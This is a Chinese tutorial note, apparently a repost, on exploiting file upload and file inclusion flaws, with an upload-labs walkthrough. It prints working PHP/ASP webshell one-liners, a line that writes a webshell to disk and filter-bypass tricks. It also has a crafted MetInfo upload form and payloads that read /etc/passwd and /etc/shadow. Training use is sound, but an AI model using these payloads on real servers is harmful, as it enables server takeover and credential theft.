文件上传(Fifteen)

文件上传

漏洞概述
我们通过文件上传漏洞,可以上传任意文件(脚本文件、exe 程序、恶意程序)。
我们可以上传一个一句话木马,用菜刀连接,就可以在目标服务器执行命令, 查看文件,查看数据库等等操作。
原理:对于用户上传的文件太过于相信没有做任何过滤便直接上传至服务器中,导致文件上传漏洞产生。

什么是WebShell
Shell 的概念就是命令解释器。以Web 形式进行通信的命令解释器(shell、服务器可以执行的脚本文件)就是WebShell。
命令是通过Web 的方式传递到服务器。
Shell 接收来自于浏览器的命令,然后再服务器运行。

WebShell本质上来讲就是一个脚本文件(各种大马)
小马(代码量比较小,一句话木马,需要用中国菜刀连接)
ASP:        
<%eval request("cmd")%>
ASP.NET
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
PHP
<?php @eval($_REQUEST['cmd']);?>($_REQUEST包含了$_GET、$_POST、$_COOKIE的所有内容,是它们的集合体。也就是说只要用其中一种方式做一个表单,把c这个变量给POST或者GET,甚至用cookies就可以把传输上去的内容执行。简而言之吧,就是执行c的值。)
JSP
详见1.jsp

中国菜刀需要与一句话木马进行配合
三大基本功能
    文件管理
        上传
        下载
        修改
        删除
        重命令
        新建文件、文件夹

    虚拟终端
        模拟cmd 窗口或者bash

    数据库管理
        需要知道连接数据库的账号密码
        数据库配置
        <T>MYSQL</T>        数据库类型
        <H>localhost</H>    数据库地址
        <U>root</U>            数据库的用户
        <P>root</P>            数据库的密码
        <L>utf8</L>            编码


getShell,获取一个WebShell。很多途经。

文件上传功能
文件上传是网站基础功能的支持之一。

造成文件上传漏洞的原因
对上传的文件没有进行足够的过滤。就可以上传恶意脚本或者可执行程序。

危害
1. 获取一个WebShell
2. 网站被控制
3. 服务器沦陷
4. 同服务器的其他网站沦陷

造成文件上传漏洞的原因(利用方法、绕过方法、过滤不足)
! 服务器端配置不当
HTTP 协议 PUT 方法 向服务器端写文件
正确的配置:将PUT 方法禁用
或者只允许
在httpd.conf中增加,只允许GET、POST、OPTIONS方法

<Location "/">
AllowMethods GET POST OPTIONS

重启apache

systemctl restart httpd.service
————————————————
版权声明:本文为CSDN博主「linwha1990」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/linwha1990/article/details/101771413
telnet 192.168.1.140 8000
OPTIONS / HTTP/1.1
HOST:192.168.1.140

CTRL+]        开启回显

将PUT方法禁用的条件:利用条件:IIS 开启PUT 方法     | 存在一个可写目录
    环境配置:开启IIS WebDAV    |    给相关目录一个Web 用户的写权限
    IIS 匿名访问时候使用的用户是IUSR_ROOT-TVI862UBEH

    put /test    创建这个文件
    move 移动    将文件改名

文件上传校验方式:前端校验和后端校验(黑白名单)。

!    前端文件上传绕过
    @    直接删除前端脚本
            @       保存前端页面,删除校验代码,打开保存好的页面直接上传即可

!    服务器端限制被绕过
    @    文件类型 值为什么类型就属于什么类型 通过欺骗绕过检测
        #    Content-Type(不是以下三种不允许上传)
            image/jpeg
            image/png
            image/gif

        #    抓包改包
            改Content-Type 的类型为相关图片类型
    @    文件内容
        php:getimagesize()

    @    文件的后缀名
        php|asp|aspx|jsp...

        #    黑名单方法:不允许上传的类型
            php|asp|aspx|jsp...
            寻找其他可允许上传的类型
            php        php3 php4    phtml

        #    白名单的方式:允许上传的类型
            jpg|gif|png|zip|doc|docx|xls|pdf...
            通过某种类型的技巧来绕过白名单,例如添加空字节注入(shell.php%00.gif),或使用双重扩展来上传文件(shell.jpg.php)1

!    其他原因
    .htaccess攻击
    .htaccess         文件就叫这个名字              
    Apache Web                   容器的分布式配置文件                           可以覆盖掉Apache全局配置
    Apache Web              容器分布式配置文件          有作用范围,当前目录及其子目录

====================允许.htaccess文件覆盖Apache配置=================================
<Directory "C:/wamp/www">
AllowOverride ALl

==========================================================================
(1)==================== 将.jpg文件以PHP文件解析(即先以.htaccess为文件名上传该文件,再上传.jpg文件)====================================
AddType application/x-httpd-php .jpg
==========================================================================

(2)======================文件名中包含.php即可被解析(info.php.jpg)(如果遇到php文件则认为是PHP脚本)===================================
AddHandler php5-script php
===========================================================================

(3)=======================匹配文件名iwillbeback(匹配文件名,如果文件名叫ajest,则会将文件按照php脚本执行。即先上传该文件(以.htaccess作为文件名),再上传文件名为ajest的文件)=======================================
<FilesMatch "ajest">
SetHandler application/x-httpd-php

============================================================================

实验平台:
upload-labs
https://github.com/c0ny1/upload-labs

01
第一种方法:onsubmit函数在客户端运行,可以直接删掉。直接删除js代码(<script></script>)

02
抓包,把Content-Type: application/octet-stream======》Content-Type: image/jpeg

03
把phpinfo.php改成phpinfo.php3上传

04
先上传.htaccess,修改apache配置
再上传phpinfo.jpg,使jpg文件可以以php方式执行

05(文件后缀名大小写转换)

06
在burp中在php后加一空格

07
在burp中在php后加.

08
::$DATA(文件流,不代表任何含义,只是一个数据)
比如文件名为info.php::$DATA避开文件名的检测

09
info.php. .(点 空格 点)
因为deldot函数从后往前删除点,知道不是点停止

10
检测到php然后依次置空
  info.pphphp

11
strrops:查找php在字符串中最后一次出现的位置

上传phpinfo.jpg

00截断:(由于php的文件系统是基于c语言开发的,c语言中的字符串的结束标识符就是null字符)
save_path=../upload/ HTTP/1.1==========>save_path=../upload/info.php%00 HTTP/1.1
%00注释掉后面的内容
在另存的时候,文件路径会依次读,当读到null字符是即认为结束    

12


13(文件内容检测,检测文件头部)

图片木马的制作        .jpg后缀名的木马的运行需要配合其他漏洞(解析漏洞或者文件包含漏洞)
    1.win7 系统下的版权
    2.命令行方法
        copy xhh.jpg/b+phpinfo.jpg/a xhh_yjh.jpg
        操作步骤:
        1.在文件上传目录打开powershell,输入cmd
        2.输入copy xhh.jpg/b+phpinfo.jpg/a xhh_yjh.jpg(将phpinfo.jpg中的php代码衔接在xhh.jpg后面再生成一个新的jpg文件叫xhh_yjh.jpg)        

    3.利用十六进制编辑器
       文件幻数(一个文件前几位都是如下)
    jpg
        FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 48
    png
        89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
    GIF
        47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33 

文件上传漏洞利用的条件

  1. 权限 写权限 执行权限
    可写目录
  2. 有文件上传的接口
  3. 进一步利用文件上传漏洞
    需要服务器解析运行上传的WebShell

解析
Web 容器:Apache/IIS/NGINX....
中间件:php/asp/aspx/(传统)
tomcat/Weblogic/Jboss..... java

http://domain.com/index.php
Apache+php

解析漏洞
    Apache   
        Apache 遇到不认识的扩展名,会向前递归寻找,知道认识位置
        如果没有找到,则暴露代码
        info.php.xxx.xx.x    

        http://doamin.com/info.php.xxx.xx.x
        在高版本的Apache 中已经被修复(将文件名改成info.php.x可以轻松过9关之前的,包括9关)

        也可以利用Apache 解析漏洞过黑名单的限制


    IIS (windows)
        6.0
            time.asp(<%=now()%>)        time.asp;1.jpg    以asp 脚本解析所谓的图片文件

            time.asp        1.asp/time.png

            形如1.asp 这样的文件夹下的文件会当作asp 脚本来执行

        7.0/7.5
            IIS7.5+PHP 环境    CGI 模式
            phpinfo.png
            http://domain.com/phpinfo.png
            http://domain.com/phpinfo.png/1.php

            IIS 的正确配置问题

        nginx
            与IIS 7.5 解析漏洞类似
编辑器上传漏洞
    编辑器就是网站后台编辑网页的在线编辑器
    ewebeditor
        <IMG border=0 src="/UploadFile/201888104135924.cer">

    .cer .asa     都可以当作asp 脚本运行
        拿到管理员密码之后,修改上传文件的白名单

    fckeditor
        利用解析漏洞上传

网站内容管理系统文件上传(CMS)
同一款CMS 不同版本之间文件上传是不一样的
DEDEcms 织梦
phpcms
metinfo v5.0.4
Apache+php+mysql
本地构造html 表单上传


<html>
<form 
    enctype="multipart/form-data"
    method="post"
    name="myForm"
    action="http://192.168.1.139/metinfov504/admin/include/uploadify.php?metinfo_admin_id=aaa&metinfo_admin_pass=bbb&met_admin_table=met_admin_table%23&type=upfile&met_file_format=jpg|pphphp"
>
<input name="Filedata" type="file" size=20>
<input type="submit" name="Submit" value="submit">
</form>
</html>

文件包含漏洞(原理:1.将文件以脚本来执行,根据网站执行脚本来决定 2.一个可以控制的变量,及include函数自身漏洞)

图片说明

概述
file include
代码共用,减少代码重复性(比如mysql数据库连接代码)

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为包含。

程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。

几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application中居多,在JSP、ASP、ASP.NET程序中比较少。

本地包含

图片说明

<?php
    $filename=$_GET['filename'];
    include($filename.".html");
?>

长度截断:?filename=1.txt././././././././././././././././././././././././././././
后面的./只要够长,即可截断.html

远程包含

图片说明

图片说明
图片说明
如果在后面加%23,%20,?则可以将后面的html代码过滤掉
图片说明

各种协议流玩法

图片说明

28的base64解码和29的input是两大杀器

图片说明

php伪协议:https://segmentfault.com/a/1190000018991087

include            常规文件包含语句,文件包含失败时,会产生警告,不会影响脚本的执行
include_once    文件只包含一次
require            常规文件包含语句,文件包含失败时,会产生错误,直接结束脚本执行
require_once    文件只包含一次

修复

图片说明
1.如果不需要传参则直接文件固定即可
图片说明
2.固定后缀
图片说明
3.waf产品
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用***是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
文件包含的分类
php.ini
本地文件包含 LFI allow_url_fopen=on/off
http://192.168.1.139/fi/include.php?path=info.php
远程文件包含 RFI allow_url_include=on/off
http://192.168.1.139/fi/include.php?path=http://192.168.1.139/fi/info.php

    远程文件包含是相当危险的 
    协议也可以换成:ftp
                 公网地址

具体操作:和jsp类似,比如在同级文件夹下有ini.php和incluede.php,目前想在include.php中包含inc.php则需要在include.php中写<?php include "./inc.php";  ?>(include包含几个,执行几次,但是include_once只执行一次)

文件包含漏洞的原理(利用条件)
1. 服务器开启文件包含功能(有文件包含语句)
2. 文件包含的路径,客户端可控(动态包含)

文件包含的特性(强大之处)
在文件包含的时候,无视文件扩展名,读取文件内容
如果文件内容符合PHP 语法规范,那么PHP 解释器尝试执行它

为图片木马 提供了出路
.jpg
.png
.gif

文件包含的利用
读取敏感文件
- 目标主机文件存在(敏感文件的路径)
- Web 用户具有文件可读权限
C:\Windows\System32\drivers\etc\hosts
/etc/passwd
/etc/shadow
SSH 私有密钥

直接包含图片马
    http://192.168.1.139/fi/include.php?path=./xhh_info.jpg

包含(图片)木马写Shell
<?php fputs(fopen("shell.php","w"),"<?php phpinfo()?>")?>(当前目录创建shell.php)(fopen,打开文件,第一个参数是要打开的文件,若果没有就创建,第二个参数是打开方式)(fputs,写文件,第一个参数需要打开一个文件,第二个参数是写的内容)
<?php fputs(fopen("shell.php","w"),"<?php @eval(\$_REQUEST['cmd'])?>")?>(一句话木马)

例如:

<?php
$file = fopen("test.txt","w");
echo fputs($file,"Hello World. Testing!");
fclose($file);
?>
PHP 封装协议的使用
    访问本地系统文件
        http://192.168.1.139/fi/include.php?path=file://c:\windows\system32\drivers\etc\hosts

    传输PHP 文件        
        192.168.***.***/include.php?path=php://filter/read=convert.base64-encode/resource=[path](将path文件的源代码作base64编码传输)

================================================================================================

include.php
<?php
    if(isset($_GET['path'])){
        include $_GET['path'];        
    }else{
        echo"please input path!";
    }
?>            

===============================================================================================

此处path=shell.php

<?php
    phpinfo();
?>

=================================================================================================
执行PHP 命令(input是传输文件流)
192.168../include.php/php://input

实例: about/index.php?fmodule=7&module=php://input

全部评论

相关推荐

咦哟,从去年八月份开始长跑,两处实习转正都失败了,风雨飘摇,终于拿到offer了更新一下面试记录:秋招:多部门反复面试然后挂掉然后复活,具体问了啥已经忘了,只是被反复煎炸,直至焦香😋春招:base北京抖音hr打来电话说再次复活,准备面试,gogogo北京抖音一面:六道笔试题:1.promise顺序2.定义域问题3.flat展开4.并发请求5.岛屿数量算法(力扣)深度,广度都写6.忘记了,好像也是算法,难度中等其他问题多是框架底层设计,实习项目重难点~~~秒过😇北京抖音二面:三道笔试题:(为什么只有三道是因为第三道没做出来,卡住了)1.中等难度算法(忘记啥题了,应该是个数组的)2.认识js的继承本质(手写继承模式,深入js的面相对象开发)3.手写vue的响应式(卡在了watch,导致挂掉)---后知后觉是我的注册副作用函数写得有问题,有点紧张了其他题目多是项目拷打,项目亮点,对实习项目的贡献~~~第二天,挂,but立马复活转战深圳客服当天约面深圳客服一面:六道笔试题,由于面过太多次字节,面试官叫我直接写,不用讲,快些写完😋,具体都是些继承,深拷贝(注意对数组对象分开处理,深层次对象,循环引用),加中等难度算法题~~~秒过深圳客服二面:口诉八股大战:大概囊括网络,浏览器渲染原理,动画优化,时间循环,任务队列等等(你能想到的简单八股通通拉出来鞭尸😋)算法题:笔试题6道:1:找出数组内重复的数,arr[0]-arr[n]内的数大小为[1-n],例如[1,2,2,3,3]返回[2,3],要求o(n),且不使用任何额外空间(做到了o(n),空间方面欠佳,给面试官说进入下一题,做不来了)2:原滋原味的继承(所以继承真滴很重要)3:力扣股票购买时机难度中等其他滴也忘记了,因为拿到offer后鼠鼠一下子就落地了,脑子自动过滤掉可能会攻击鼠鼠的记忆😷~~~秒过深圳客服三面:项目大战参与战斗的人员有:成员1:表单封装及其底层原理,使用成本的优化,声明式表单成员2:公司内部库生命周期管理成员3:第三方库和内部库冲突如何源码断点调试并打补丁解决成员4:埋点的艺术成员5:线上项目捷报频传如何查出内鬼成员6:大文件分片的风流趣事成员7:设计模式对对碰成员8:我构建hooks应对经理的新增的小需求的故事可能项目回答的比较流利,笔试题3道,都很简单,相信大家应该都可以手拿把掐😇~~~过过过无hr面后续煎熬等待几天直接hr打电话发offer了,希望大家也可以拿到自己心仪的offer
法力无边年:牛哇,你真是准备得充分,我对你没有嫉妒,都是实打实付出
查看19道真题和解析
点赞 评论 收藏
分享
勤奋努力的椰子这就开摆:这些经历跟硬件都没啥关系呀
点赞 评论 收藏
分享
评论
点赞
收藏
分享

创作者周榜

更多
牛客网
牛客企业服务